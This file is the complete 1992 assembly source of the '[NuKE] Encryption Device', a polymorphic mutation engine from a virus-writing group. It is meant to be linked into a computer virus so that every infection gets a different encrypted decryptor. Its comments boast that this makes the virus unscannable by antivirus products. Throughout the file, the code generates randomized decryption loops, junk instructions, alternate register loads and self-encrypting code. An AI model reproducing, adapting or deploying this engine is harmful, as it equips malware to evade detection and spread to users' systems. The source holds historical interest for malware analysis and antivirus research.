;******************************************************************************
; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
;
; This product is not to be distributed to ANYONE without the complete and
; total agreement of both the author(s) and [NuKE].  This applies to all
; source code, executable code, documentation, and other files included in
; this package.
;
; Unless otherwise specifically stated, even the mere existance of this
; product is not to be mentioned to or discussed in any fashion with ANYONE,
; except with the author(s) and/or other [NuKE] members.
;
; WARNING:  This product has been marked in such a way that, if an
; unauthorized copy is discovered ANYWHERE, the violation can be easily
; traced back to its source, who will be located and punished.
; YOU HAVE BEEN WARNED.
;******************************************************************************


;*******************************************************************************
; The [NuKE] Encryption Device v0.90�
;
; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
; All Rights Reserved.  Unauthorized use strictly prohibited.
;
;*******************************************************************************
; Written by Nowhere Man
; October 18, 1992
; Version 0.90�
;*******************************************************************************
;
; Synopsis:  The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
;	     engine, along the lines of Dark Avenger's now-famous MtE.
;	     Unlike MtE, however, N.E.D. can't be SCANned, and probably will
;	     never be, either, since there is no reliable pattern between
;	     mutations, and the engine itself (and its RNG) are always
;	     kept encrypted.
;
;	     N.E.D. is easily be added to a virus.  Every infection with
;	     that virus will henceforth be completely different from all
; 	     others, and all will be unscannable, thanks to the Cryptex(C)
;	     polymorphic mutation algorithm.
;
;	     N.E.D. only adds about 15 or so bytes of decryption code
;	     (probably more, depending on which options are enabled), plus
;	     the 1355 byte overhead needed for the engine itself (about half
;            the size of MtE!).
;*******************************************************************************


;*******************************************************************************
;                         Segment declarations
;*******************************************************************************

.model tiny
.code


;*******************************************************************************
;         Equates used to save three bytes of code (was it worth it?)
;*******************************************************************************

load_point	equ	si + _load_point - ned_start
encr_instr	equ	si + _encr_instr - ned_start
store_point	equ	si + _store_point - ned_start

buf_ptr		equ	si + _buf_ptr - ned_start
copy_len	equ	si + _copy_len - ned_start
copy_off	equ	si + _copy_off - ned_start
v_start		equ	si + _v_start - ned_start
options		equ	si + _options - ned_start

byte_word	equ	si + _byte_word - ned_start
up_down		equ	si + _up_down - ned_start
mem_reg		equ	si + _mem_reg - ned_start
loop_reg	equ	si + _loop_reg - ned_start
key_reg		equ	si + _key_reg - ned_start

mem_otr		equ	si + _mem_otr - ned_start
used_it		equ	si + _used_it - ned_start
jump_here	equ	si + _jump_here - ned_start
adj_here	equ	si + _adj_here - ned_start

word_adj_table	equ	si + _word_adj_table - ned_start
byte_adj_table	equ	si + _byte_adj_table - ned_start

the_key		equ	si + _the_key - ned_start

crypt_type	equ	si + _crypt_type - ned_start
op_byte		equ	si + _op_byte - ned_start
rev_op_byte	equ	si + _rev_op_byte - ned_start
modr_m		equ	si + _modr_m - ned_start

dummy_word_cmd	equ	si + _dummy_word_cmd - ned_start
dummy_three_cmd	equ	si + _dummy_three_cmd - ned_start

tmp_jmp_store	equ	si + _tmp_jmp_store - ned_start
jump_table	equ	si + _jump_table - ned_start

rand_val	equ	si + _rand_val - ned_start


;******************************************************************************
;                                Publics
;******************************************************************************

public		nuke_enc_dev
public		ned_end



;*******************************************************************************
;                [NuKE] Encryption Device begins here....
;*******************************************************************************

ned_begin	label	near			; Start of the N.E.D.'s code


;******************************************************************************
; nuke_enc_dev
;
; This procedure merely calls ned_main.
;
; Arguments:    Same as ned_main; this is a shell procedure
;
; Returns:	Same as ned_main; this is a shell procedure
;******************************************************************************

nuke_enc_dev	proc	near
		public	nuke_enc_dev		; Name in .OBJs and .LIBs

		push	bx                      ;
		push	cx                      ;
		push	dx                      ; Preserve registers
		push	si                      ; (except for AX, which is
		push	di                      ; used to return something)
		push	bp                      ;

		call	ned_main		; Call the [NuKE] Encryption
						; Device, in all it's splendor

		pop	bp			;
		pop	di                      ;
		pop	si                      ;
		pop	dx                      ; Restore registers
		pop	cx                      ;
		pop	bx                      ;

		ret				; Return to the main virus


; This the copyright message (hey, I wrote the thing, so I can waste a few
; bytes bragging...).

copyright	db	13,10
		db	"[NuKE] Encryption Device v0.90�",13,10
		db	"(C) 1992 Nowhere Man and [NuKE]",13,10,0
nuke_enc_dev	endp


;******************************************************************************
; ned_main
;
; Fills a buffer with a random decryption routine and encrypted viral code.
;
; Arguments:    AX = offset of buffer to hold data
;		BX = offset of code start
;		CX = offset of the virus in memory (next time around!)
;		DX = length of code to copy and encrypt
;		SI = options:
;			bit 0:	dummy instructions
;			bit 1:	MOV variance
;			bit 2:  ADD/SUB substitution
;			bit 3:  garbage code
;			bit 4:  don't assume DS = CS
;			bits 5-15:  reserved
;
; Returns:	AX = size of generated decryption routine and encrypted code
;******************************************************************************

ned_main	proc	near
		mov	di,si			; We'll need SI, so use DI
		not	di			; Reverse all bits for TESTs

		call	ned_start		; Ah, the old virus trick
ned_start:	pop	si			; for getting our offset...

		mov	word ptr [used_it],0	; A truely hideous way to
		mov	word ptr [used_it + 2],0; reset the register usage
		mov	word ptr [used_it + 4],0; flags...
		mov	byte ptr [used_it + 6],0;

		add	dx,ned_end - ned_begin	; Be sure to encrypt ourself!

		mov	word ptr [buf_ptr],ax	; Save the function
		mov	word ptr [copy_off],bx	; arguments in an
		mov	word ptr [v_start],cx	; internal buffer
		mov	word ptr [copy_len],dx	; for later use
		mov	word ptr [options],di	;

		xchg	di,ax			; Need the buffer offset in DI

		mov	ax,2			; Select a random number
		call	rand_num		; between 0 and 1
		mov	word ptr [byte_word],ax	; Save byte/word flag

		mov	ax,2			; Select another random number
		call	rand_num		; between 0 and 1
		xor	ax,ax			; !!!!DELETE ME!!!!
		mov	word ptr [up_down],ax	; Save up/down flag

		mov	ax,4			; Select a random number
		call	rand_num                ; between 0 and 3
		mov	word ptr [mem_reg],ax	; Save memory register
		xchg	bx,ax			; Place in BX for indexing
		shl	bx,1			; Convert to word index
		mov	bx,word ptr [mem_otr + bx]  ; Get register number
		inc	byte ptr [used_it + bx] ; Cross off register

		xor	cx,cx			; We need a word register
		call	random_reg		; Get a random register
		inc	byte ptr [used_it + bx] ; Cross it off...
		mov	word ptr [loop_reg],ax	; Save loop register

		mov	ax,2			; Select a random number
		call	rand_num                ; between 0 and 1
		or	ax,ax			; Does AX = 0?
		je	embedded_key		; If so, the key's embedded
		mov	cx,word ptr [byte_word]	; CX holds the byte word flag
		neg	cx			; By NEGating CX and adding one
		inc	cx			; CX will be flip-flopped
		call	random_reg		; Get a random register
		inc	byte ptr [used_it + bx] ; Cross it off...
		mov	word ptr [key_reg],ax	; Save key register
		jmp	short create_routine	; Ok, let's get to it!
embedded_key:	mov	word ptr [key_reg],-1	; Set embedded key flag

create_routine: call	add_nop			; Add a do-nothing instruction?
		mov	ax,2			; Select a random number
		call	rand_num		; between 0 and 1
		or	ax,ax			; Does AX = 0?
		je	pointer_first		; If so, load pointer then count
		call	load_count		; Load start register
		call	add_nop			; Add a do-nothing instruction?
		call	load_pointer		; Load pointer register
		jmp	short else_end1		; Skip the ELSE part
pointer_first: 	call	load_pointer		; Load start register
		call	add_nop			; Add a do-nothing instruction?
		call	load_count		; Load count register
else_end1:	call	add_nop			; Add a do-nothing instruction?
		call	load_key		; Load encryption key
		call	add_nop			; Add a do-nothing instruction?
		mov	word ptr [jump_here],di	; Save the offset of the loop
		call	add_decrypt		; Create the decryption code
		call	add_nop			; Add a do-nothing instruction?
		call	adjust_ptr		; Adjust the memory pointer
		call	add_nop			; Add a do-nothing instruction?
		call    end_loop		; End the decryption loop
		call	random_fill		; Pad with random bullshit?

		mov	ax,di			; AX points to our current place
		sub	ax,word ptr [buf_ptr]	; AX now holds # bytes written

		mov	bx,word ptr [adj_here]	; Find where we need to adjust
		add	word ptr [bx],ax	; Adjust the starting offset

		add	ax,word ptr [copy_len]	; Add length of encrypted code
		push	ax		       	; Save this for later

		mov	bx,word ptr [crypt_type]; BX holds encryption type
		mov	bl,byte ptr [rev_op_byte + bx]  ; Load encryption byte
		mov	bh,0D8h			; Fix a strange problem...
		mov	word ptr [encr_instr],bx; Save it into our routine

		mov	cx,word ptr [copy_len]	; CX holds # of bytes to encrypt
		cmp	word ptr [byte_word],0	; Are we doing it by bytes?
		je	final_byte_k		; If so, reset LODS/STOS stuff
		mov	byte ptr [load_point],0ADh  ; Change it to a LODSW
		mov	byte ptr [store_point],0ABh  ; Change it to a STOSW
		shr	cx,1			; Do half as many repetitions
		mov	bx,word ptr [the_key]	; Reload the key
		inc	byte ptr [encr_instr]	; Fix up for words...
		jmp	short encrypt_virus	; Let's go!
final_byte_k:   mov	byte ptr [load_point],0ACh  ; Change it to a LODSW
		mov	byte ptr [store_point],0AAh  ; Change it to a STOSW
		mov	bl,byte ptr [the_key]	; Ok, so I did this poorly...

encrypt_virus:	mov	si,word ptr [copy_off]	; SI points to the original code


; This portion of the code is self-modifying.  It may be bad style, but
; it's far more efficient than writing six or so different routines...

_load_point:	lodsb				; Load a byte/word into AL
_encr_instr:	xor	al,bl			; Encrypt the byte/word
_store_point:	stosb				; Store the byte/word at ES:[DI]
		loop	_load_point		; Repeat until all bytes done

; Ok, we're through... back to normal


		pop	ax			; AX holds routine length

		ret				; Return to caller

_buf_ptr 	dw	?			; Pointer: storage buffer
_copy_len	dw	?			; Integer: # bytes to copy
_copy_off	dw	?			; Pointer: original code
_v_start	dw	?			; Pointer: virus start in file
_options	dw	?			; Integer: bits set options

_byte_word	dw	?			; Boolean: 0 = byte, 1 = word
_up_down	dw	?			; Boolean: 0 = up, 1 = down
_mem_reg     	dw	?			; Integer: 0-4 (SI, DI, BX, BP)
_loop_reg	dw	?			; Integer: 0-6 (AX, BX, etc.)
_key_reg	dw	?			; Integer: -1 = internal

_mem_otr	dw	4,5,1,6			; Array: Register # for mem_reg
_used_it	db	7 dup (0)		; Array: 0 = unused, 1 = used
_jump_here	dw	?			; Pointer: Start of loop
_adj_here	dw	?			; Pointer: Where to adjust
ned_main	endp


;******************************************************************************
; load_count
;
; Adds code to load the count register, which stores the number of
; iterations that the decryption loop must make.  if _byte_word = 0
; then this value is equal to the size of the code to be encrypted;
; if _byte_word = 1 (increment by words), it is half that length
; (since two bytes are decrypted at a time).
;
; Arguments:	SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

load_count	proc	near
		mov	bx,word ptr [loop_reg]	; BX holds register number
		mov	dx,word ptr [copy_len]	; DX holds size of virus
		mov	cx,word ptr [byte_word]	; Neat trick to divide by
		shr	dx,cl			; two if byte_word = 1
		mov	cx,1			; We're doing a word register
		call	gen_mov			; Generate a move
		ret				; Return to caller

_word_adj_table	db	00h, 03h, 01h, 02h, 06h, 07h, 05h  ; Array: ModR/M adj.
_byte_adj_table	db	04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h  ; Array ""/byte
load_count	endp


;******************************************************************************
; load_pointer
;
; Adds code to load the pointer register, which points to the byte
; or word of memory that is to be encrypted.  Due to the flaws of
; 8086 assembly language, only the SI, DI, BX, and BP registers may
; be used.
;
; Arguments:	SI = offset of ned_start
;		DI = offset of storage buffer
;******************************************************************************

load_pointer	proc	near
		mov	bx,word ptr [mem_reg]	; BX holds register number
		shl	bx,1			; Convert to word index
		mov	bx,word ptr [mem_otr + bx]  ; Convert register number
		mov	al,byte ptr [word_adj_table + bx]  ; Table look-up
		add	al,0B8h			; Create a MOV instruction
		stosb				; Store it in the code
		mov	word ptr [adj_here],di	; Save our current offset
		mov	ax,word ptr [v_start]	; AX points to virus (in host)
		cmp	word ptr [up_down],0	; Are we going upwards?
		je	no_adjust		; If so, no ajustment needed
		add	ax,word ptr [copy_len]	; Point to end of virus
no_adjust:	stosw				; Store the start offset
		ret				; Return to caller
load_pointer	endp


;******************************************************************************
; load_key
;
; Adds code to load the encryption key into a register.  If _byte_word = 0
; a 8-bit key is used; if it is 1 then a 16-bit key is used.  If the key
; is supposed to be embedded, no code is generated at this point.
;
; Arguments:	SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

load_key	proc	near
		mov	ax,0FFFFh		; Select a random number
		call	rand_num		; between 0 and 65534
		inc	ax			; Eliminate any null keys
		mov	word ptr [the_key],ax	; Save key for later
		mov	bx,word ptr [key_reg]	; DX holds the register number
		cmp	bx,-1			; Is the key embedded?
		je	blow_this_proc		; If so, just leave now
		xchg	dx,ax			; DX holds key
		mov	cx,word ptr [byte_word]	; CX holds byte/word flag
		call	gen_mov			; Load the key into the register
blow_this_proc:	ret				; Return to caller

_the_key	dw	?			; Integer: The encryption key
load_key	endp


;******************************************************************************
; add_decrypt
;
; Adds code to dencrypt a byte or word (pointed to by the pointer register)
; by either a byte or word register or a fixed byte or word.
;
; Arguments:	SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

add_decrypt	proc	near
		test	word ptr [options],010000b  ; Do we need a CS: override
		jne	no_override		; If not, don't add it...
		mov	al,02Eh			; Store a code-segment
		stosb				; override instruction (CS:)
no_override:	mov	ax,3			; Select a random number
		call	rand_num                ; between 0 and 2
		mov	word ptr [crypt_type],ax; Save encryption type
		xchg	bx,ax			; Now transfer it into BX
		mov	ax,word ptr [byte_word]	; 0 if byte, 1 if word
		cmp	word ptr [key_reg],-1	; Is the key embedded?
		je	second_case		; If so, it's a different story

		add	al,byte ptr [op_byte + bx]  ; Adjust by operation type
		stosb				; Place the byte in the code

		mov	ax,word ptr [mem_reg]	; AX holds register number
		mov	cl,3			; To get the ModR/M table
		shl	ax,cl			; offset, multiply by eight
		mov	bx,word ptr [key_reg]	; BX holds key register number
		cmp	word ptr [byte_word],0	; Is this a byte?
		je	byte_by_reg		; If so, special case
		mov	bl,byte ptr [word_adj_table + bx]  ; Create ModR/M
		jmp	short store_it_now	; Now save the byte
byte_by_reg:	mov	bl,byte ptr [byte_adj_table + bx]  ; Create ModR/M
store_it_now:   xor	bh,bh			; Clear out any old data
		add	bx,ax			; Add the first index
		mov	al,byte ptr [modr_m + bx]  ; Table look-up
		stosb				; Save it into the code
		cmp	word ptr [mem_reg],3	; Are we using BP?
		jne	a_d_exit1		; If not, leave
		xor	al,al			; For some dumb reason we'll
		stosb                           ; have to specify a 0 adjustment
a_d_exit1:	ret				; Return to caller


second_case:	add	al,080h			; Create the first byte
		stosb				; and store it in the code

		mov	al,byte ptr [op_byte + bx]  ; Load up the OP byte
		mov	bx,word ptr [mem_reg]	; BX holds register number
		mov	cl,3			; To get the ModR/M table
		shl	bx,cl			; offset, multiply by eight
		add	al,byte ptr [modr_m + bx]  ; Add result of table look-up
		stosb				; Save it into the code
		cmp	word ptr [mem_reg],3	; Are we using BP?
		jne	store_key		; If not, store the key
		xor	al,al			; For some dumb reason we'll
		stosb                           ; have to specify a 0 adjustment
store_key:	cmp	word ptr [byte_word],0	; Is this a byte?
		je	byte_by_byte		; If so, special case
		mov	ax,word ptr [the_key]	; Load up *the key*
		stosw				; Save the whole two bytes!
		jmp	short a_d_exit2		; Let's split, man
byte_by_byte:   mov	al,byte ptr [the_key]	; Load up *the key*
		stosb				; Save it into the code
a_d_exit2:	ret				; Return to caller

_crypt_type	dw	?			; Integer: Type of encryption
_op_byte	db	030h,000h,028h		; Array: OP byte of instruction
_rev_op_byte	db	030h,028h,000h		; Array: Reverse OP byte of ""
_modr_m		db	004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch	; SI
		db	005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh	; DI
		db	007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh	; BX
		db	046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh	; BP
add_decrypt	endp


;******************************************************************************
; adjust_ptr
;
; Adds code to adjust the memory pointer.  There are two possible choices:
; INC/DEC and ADD/SUB (inefficient, but provides variation).
;
; Arguments:	SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

adjust_ptr	proc	near
		mov	cx,word ptr [byte_word]	; CX holds byte/word flag
		inc	cx			; Increment; now # INCs/DECs
		mov	bx,word ptr [mem_reg]	; BX holds register number
		shl	bx,1			; Convert to word index
		mov	bx,word ptr [mem_otr + bx]  ; Convert register number
		mov	dx,word ptr [up_down]	; DX holds up/down flag
		call	gen_add_sub		; Create code to adjust pointer
		ret				; Return to caller
adjust_ptr	endp


;******************************************************************************
; end_loop
;
; Adds code to adjust the count variable, test to see if it's zero,
; and repeat the decryption loop if it is not.  There are three possible
; choices:  LOOP (only if the count register is CX), SUB/JNE (inefficient,
; but provides variation), and DEC/JNE (best choice for non-CX registers).
;
; Arguments:	SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

end_loop	proc	near
		mov	bx,word ptr [loop_reg]	; BX holds register number
		cmp	bx,2			; Are we using CX?
		jne	dec_jne			; If not, we can't use LOOP
		mov	ax,2			; Select a random number
		call	rand_num                ; between 0 and 1
		or	ax,ax			; Does AX = 0?
		jne	dec_jne                 ; If not, standard ending
		mov	al,0E2h			; We'll do a LOOP instead
		stosb                           ; Save the OP byte
		jmp	short store_jmp_loc	; Ok, now find the offset
dec_jne:	mov	cx,1			; Only adjust by one
		mov	dx,1			; We're subtracting...
		call	gen_add_sub		; Create code to adjust count
		mov	al,075h			; We'll do a JNE to save
		stosb				; Store a JNE OP byte
store_jmp_loc:	mov	ax,word ptr [jump_here]	; Find old offset
		sub	ax,di			; Adjust relative jump
		dec	ax			; Adjust by one (DI is off)
		stosb				; Save the jump offset
		ret				; Return to caller
end_loop	endp


;******************************************************************************
; add_nop
;
; Adds between 0 and 3 do-nothing instructions to the code, if they are
; allowed by the user (bit 0 set).
;
; Arguments:	SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

add_nop		proc	near
		push	ax			; Save AX
		push	bx			; Save BX
		push	cx			; Save CX

		test	word ptr [options],0001b; Are we allowing these?
		jne	outta_here		; If not, don't add 'em
		mov	ax,2			; Select a random number
		call	rand_num                ; between 0 and 1
		or	ax,ax			; Does AX = 0?
		je	outta_here		; If so, don't add any NOPs...
		mov	ax,4			; Select a random number
		call	rand_num                ; between 0 and 3
		xchg	cx,ax			; CX holds repetitions
		jcxz	outta_here		; CX = 0?  Split...
add_nop_loop:   mov	ax,4			; Select a random number
		call	rand_num                ; between 0 and 3
		or	ax,ax			; Does AX = 0?
		je	two_byter		; If so, a two-byte instruction
		cmp	ax,1			; Does AX = 1?
		je	three_byter		; If so, a three-byte instruction
		mov	al,090h			; We'll do a NOP instead
		stosb				; Store it in the code
		jmp	short loop_point	; Complete the loop
two_byter:	mov	ax,34			; Select a random number
		call	rand_num                ; between 0 and 33
		xchg	bx,ax			; Place in BX for indexing
		shl	bx,1			; Convert to word index
		mov	ax,word ptr [dummy_word_cmd + bx]  ; Get dummy command
		stosw				; Save it in the code...
		jmp	short loop_point	; Complete the loop
three_byter:	mov	ax,16			; Select a random number
		call	rand_num		; between 0 and 15
		mov	bx,ax			; Place in BX for indexing
		shl	bx,1			; Convert to word index
		add	bx,ax			; Add back value (BX = BX * 3)
		mov	ax,word ptr [dummy_three_cmd + bx]  ; Get dummy command
		stosw				; Save it in the code...
		mov	al,byte ptr [dummy_three_cmd + bx + 2]
		stosb				; Save the final byte, too
loop_point:	loop	add_nop_loop		; Repeat 0-2 more times
outta_here:	pop	cx			; Restore CX
		pop	bx			; Restore BX
		pop	ax			; Restore AX
		ret				; Return to caller

_dummy_word_cmd:				; Useless instructions,
						; two bytes each
		mov	ax,ax
		mov	bx,bx
		mov	cx,cx
		mov	dx,dx
		mov	si,si
		mov	di,di
		mov	bp,bp
		xchg	bx,bx
		xchg	cx,cx
		xchg	dx,dx
		xchg	si,si
		xchg	di,di
		xchg	bp,bp
		nop
		nop
		inc	ax
		dec	ax
		inc	bx
		dec	bx
		inc	cx
		dec	cx
		inc	dx
		dec	dx
		inc	si
		dec	si
		inc	di
		dec	di
		inc	bp
		dec	bp
		cmc
		cmc
		jmp	short $ + 2
		je	$ + 2
		jne	$ + 2
		jg	$ + 2
		jge	$ + 2
		jl	$ + 2
		jle	$ + 2
		jo	$ + 2
		jpe	$ + 2
		jpo	$ + 2
		js	$ + 2
		jcxz	$ + 2


_dummy_three_cmd:				; Useless instructions,
						; three bytes each
		xor	ax,0
		or	ax,0
		add	ax,0
		add	bx,0
		add	cx,0
		add	dx,0
		add	si,0
		add	di,0
		add	bp,0
		sub	ax,0
		sub	bx,0
		sub	cx,0
		sub	dx,0
		sub	si,0
		sub	di,0
		sub	bp,0
add_nop		endp


;******************************************************************************
; gen_mov
;
; Adds code to load a register with a value.  If MOV variance is enabled,
; inefficient, sometimes strange, methods may be used; if it is disabled,
; a standard MOV is used (wow).  Various alternate load methods include
; loading a larger value then subtracting the difference, loading a
; smaller value the adding the difference, loading an XORd value then
; XORing it by a key that will correct the difference, loading an incorrect
; value and NEGating or NOTing it to correctness, and loading a false
; value then loading the correct one.
;
; Arguments:	BX = register number
;		CX = 0 for byte register, 1 for word register
;		DX = value to store
;		SI = offset of ned_start
;               DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

gen_mov		proc
		test	word ptr [options],0010b; Do we allow wierd moves?
		je	quick_fixup		; If so, short jump over JMP
		jmp	make_mov		; If not, standard MOV
quick_fixup:	jcxz	byte_index_0		; If we're doing a byte, index
		mov	bl,byte ptr [word_adj_table + bx]  ; Table look-up
		jmp	short get_rnd_num	; Ok, get a random number now
byte_index_0:	mov	bl,byte ptr [byte_adj_table + bx]  ; Table look-up
get_rnd_num:	mov	ax,7			; Select a random number
		call	rand_num                ; between 0 and 6
		shl	ax,1			; Convert AX into word index
		lea	bp,word ptr [jump_table]  ; BP points to jump table
		add	bp,ax			; BP now points to the offset
		mov	ax,word ptr [bp]	; AX holds the jump offset
		add	ax,si			; Adjust by our own offset
		mov	word ptr [tmp_jmp_store],ax  ; Store in scratch variable
		mov	ax,0FFFFh		; Select a random number
		call	rand_num                ; between 0 and 65564
		xchg	bp,ax			; Place random number in BP
		jmp	word ptr [tmp_jmp_store]; JuMP to a load routine!
load_move:	xchg	dx,bp			; Swap DX and BP
		call	make_mov		; Load BP (random) in register
		call	add_nop			; Add a do-nothing instruction?
		xchg	dx,bp			; DX now holds real value
		jmp	short make_mov		; Load real value in reigster
load_sub:	add	dx,bp			; Add random value to load value
		call	make_mov		; Create a MOV instruction
		call	add_nop			; Add a do-nothing instruction?
		mov	ah,0E8h			; We're doing a SUB
		jmp	short make_add_sub	; Create the SUB instruction
load_add:	sub	dx,bp			; Sub. random from load value
		call	make_mov		; Create a MOV instruction
		call	add_nop			; Add a do-nothing instruction?
		mov	ah,0C0h			; We're doing an ADD
		jmp	short make_add_sub	; Create the ADD instruction
load_xor:	xor	dx,bp			; XOR load value by random
		call	make_mov		; Create a MOV instruction
		call	add_nop			; Add a do-nothing instruction?
		mov	ah,0F0h			; We're doing an XOR
		jmp	short make_add_sub	; Create the XOR instruction
load_not:	not	dx			; Two's-compliment DX
		call	make_mov		; Create a MOV instruction
		call	add_nop			; Add a do-nothing instruction?
load_not2:	mov	al,0F6h			; We're doing a NOT/NEG
		add	al,cl			; If it's a word, add one
		stosb				; Store the byte
		mov	al,0D0h			; Initialize the ModR/M byte
		add	al,bl			; Add back the register info
		stosb				; Store the byte
		ret				; Return to caller
load_neg:	neg	dx			; One's-compliment DX
		call	make_mov		; Create a MOV instruction
		add	bl,08h			; Change the NOT into a NEG
		jmp	short load_not2		; Reuse the above code

make_mov:       mov	al,0B0h			; Assume it's a byte for now
		add	al,bl			; Adjust by register ModR/M
		jcxz	store_mov		; If we're doing a byte, go on
		add	al,008h			; Otherwise, adjust for word
store_mov:	stosb				; Store the OP byte
		mov	ax,dx			; AX holds the load value
put_byte_or_wd:	jcxz	store_byte		; If it's a byte, store it
		stosw				; Otherwise store a whole word
		ret				; Return to caller
store_byte:	stosb				; Store the byte in the code
		ret				; Return to caller

make_add_sub:   mov	al,080h			; Create the OP byte
		add	al,cl			; If it's a word, add one
		stosb				; Store the byte
		mov	al,ah			; AL now holds ModR/M byte
		add	al,bl			; Add back the register ModR/M
		stosb				; Store the byte in the code
		xchg	bp,ax			; AX holds the ADD/SUB value
		jmp	short put_byte_or_wd	; Reuse the above code

_tmp_jmp_store	dw	?			; Pointer: temp. storage
_jump_table	dw	load_sub - ned_start, load_add - ned_start
		dw	load_xor - ned_start, load_not - ned_start
		dw	load_neg - ned_start, load_move - ned_start
		dw	make_mov - ned_start
gen_mov		endp


;******************************************************************************
; gen_add_sub
;
; Adds code to adjust a register either up or down.  A random combination
; of ADD/SUBs and INC/DECs is used to increase code variability.  Note
; that this procedure will only work on *word* registers; attempts to
; use this procedure for byte registers (AH, AL, etc.) may result in
; invalid code being generated.
;
; Arguments:	BX = ModR/M table offset for register
;		CX = Number to be added/subtracted from the register
;		DX = 0 for addition, 1 for subtraction
;		SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

gen_add_sub	proc	near
		jcxz	exit_g_a_s		; Exit if there's no adjustment
add_sub_loop:   call	add_nop			; Add a do-nothing instruction?
		cmp	cx,3			; Have to adjust > 3 bytes?
		ja	use_add_sub		; If so, no way we use INC/DEC!
		test	word ptr [options],0100b; Are ADD/SUBs allowed?
		jne	use_inc_dec		; If not, only use INC/DECs
		mov	ax,3			; Select a random number
		call	rand_num                ; between 0 and 2
		or	ax,ax			; Does AX = 0?
		je	use_add_sub		; If so, use ADD or SUB
use_inc_dec:	mov	al,byte ptr [word_adj_table + bx]  ; Table look-up
		add	al,040h			; It's an INC...
		or	dx,dx			; Are we adding?
		je	store_it0		; If so, store it
		add	al,08h			; Otherwise create a DEC
store_it0:	stosb				; Store the byte
		dec	cx			; Subtract one fromt total count
		jmp	short cxz_check		; Finish off the loop
use_add_sub:    mov	ax,2			; Select a random number
		call	rand_num                ; between 0 and 1
		shl	ax,1			; Now it's either 0 or 2
		mov	bp,ax			; Save the value for later
		add	al,081h			; We're going to be stupid
		stosb				; and use an ADD or SUB instead
		mov	al,byte ptr [word_adj_table + bx]  ; Table look-up
		add	al,0C0h			; It's an ADD...
		or	dx,dx			; Are we adding?
		je	store_it1		; If so, store it
		add	al,028h			; Otherwise create a SUB
store_it1:	stosb				; Store the byte
		mov    	ax,cx			; Select a random number
		call	rand_num		; between 0 and (CX - 1)
		inc	ax			; Ok, add back one
		or	bp,bp			; Does BP = 0?
		je	long_form		; If so, it's the long way
		stosb				; Store the byte
		jmp	short sub_from_cx	; Adjust the count now...
long_form:	stosw				; Store the whole word
sub_from_cx:	sub	cx,ax			; Adjust total count by AX
cxz_check:	or	cx,cx			; Are we done yet?
		jne     add_sub_loop		; If not, repeat until we are
exit_g_a_s:	ret				; Return to caller
gen_add_sub	endp


;******************************************************************************
; random_fill
;
; Pads out the decryption with random garbage; this is only enabled if
; bit 3 of the options byte is set.
;
; Arguments:	SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	None
;******************************************************************************

random_fill	proc	near
		test	word ptr [options],01000b  ; Are we allowing this?
		jne	exit_r_f		; If not, don't add garbage
		mov	ax,2			; Select a random number
		call	rand_num                ; between 0 and 1
		xchg	cx,ax			; Wow!  A shortcut to save
		jcxz    exit_r_f		; a byte!  If AX = 0, exit
		mov	ax,101			; Select a random number
		call	rand_num                ; between 0 and 100
		xchg	cx,ax			; Transfer to CX for LOOP
		jcxz	exit_r_f		; If CX = 0 then exit now...
		mov	al,0EBh			; We'll be doing a short
		stosb				; jump over the code...
		mov	ax,cx			; Let's get that value back
		stosb				; We'll skip that many bytes
garbage_loop:	mov	ax,0FFFFh		; Select a random number
		call	rand_num                ; between 0 and 65534
		stosb				; Store a random byte
		loop	garbage_loop		; while (--_CX == 0);
exit_r_f:	ret				; Return to caller
random_fill	endp


;******************************************************************************
; random_reg
;
; Returns the number of a random register.  If CX = 1, a byte register is
; used; if CX = 0, a word register is selected.
;
; Arguments:	CX = 0 for word, 1 for byte
;		SI = offset of ned_start
;		DI = offset of storage buffer
;
; Returns:	AX = register number
;		BX = register's offset in cross-off table (used_it)
;******************************************************************************

random_reg	proc	near
get_rand_reg:	mov	ax,cx			; Select a random number
		add	ax,7			; between 0 and 6 for words
		call	rand_num                ; or 0 and 7 for bytes
		mov	bx,ax			; Place in BX for indexing
		shr	bx,cl			; Divide by two for bytes only
		cmp	byte ptr [used_it + bx],0  ; Register conflict?
		jne	get_rand_reg		; If so, try again
		ret				; Return to caller
random_reg	endp


;******************************************************************************
; rand_num
;
; Random number generation procedure for the N.E.D.  This procedure can
; be safely changed without affecting the rest of the module, with the
; following restrictions:  all registers that are changed must be preserved
; (except, of course, AX), and AX must return a random number between
; 0 and (BX - 1).  This routine was kept internal to avoid the mistake
; that MtE made, that is using a separate .OBJ file for the RNG.  (When
; a separate file is used, the RNG's location isn't neccessarily known,
; and therefore the engine can't encrypt it.  McAfee, etc. scan for
; the random-number generator.)
;
; Arguments:	BX = maximum random number + 1
;
; Returns:	AX = psuedo-random number between 0 and (BX - 1)
;******************************************************************************

rand_num	proc	near
		push	dx			; Save DX
		push	cx			; Save CX

		push	ax			; Save AX

		rol	word ptr [rand_val],1	; Adjust seed for "randomness"
		add	word ptr [rand_val],0754Eh  ; Adjust it again

		xor	ah,ah			; BIOS get timer function
		int	01Ah

		xor	word ptr [rand_val],dx	; XOR seed by BIOS timer
		xor	dx,dx			; Clear DX for division...

		mov	ax,word ptr [rand_val]	; Return number in AX
		pop	cx			; CX holds max value
		div	cx			; DX = AX % max_val
		xchg	dx,ax			; AX holds final value

		pop	cx			; Restore CX
		pop	dx			; Restore DX
		ret				; Return to caller

_rand_val	dw	0			; Seed for generator
rand_num	endp

ned_end		label	near			; The end of the N.E.D.

		end